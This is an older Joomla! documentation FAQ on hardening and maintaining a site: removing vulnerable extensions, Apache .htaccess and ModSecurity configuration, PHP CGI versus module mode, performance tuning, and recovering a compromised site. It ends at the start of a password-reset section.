: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

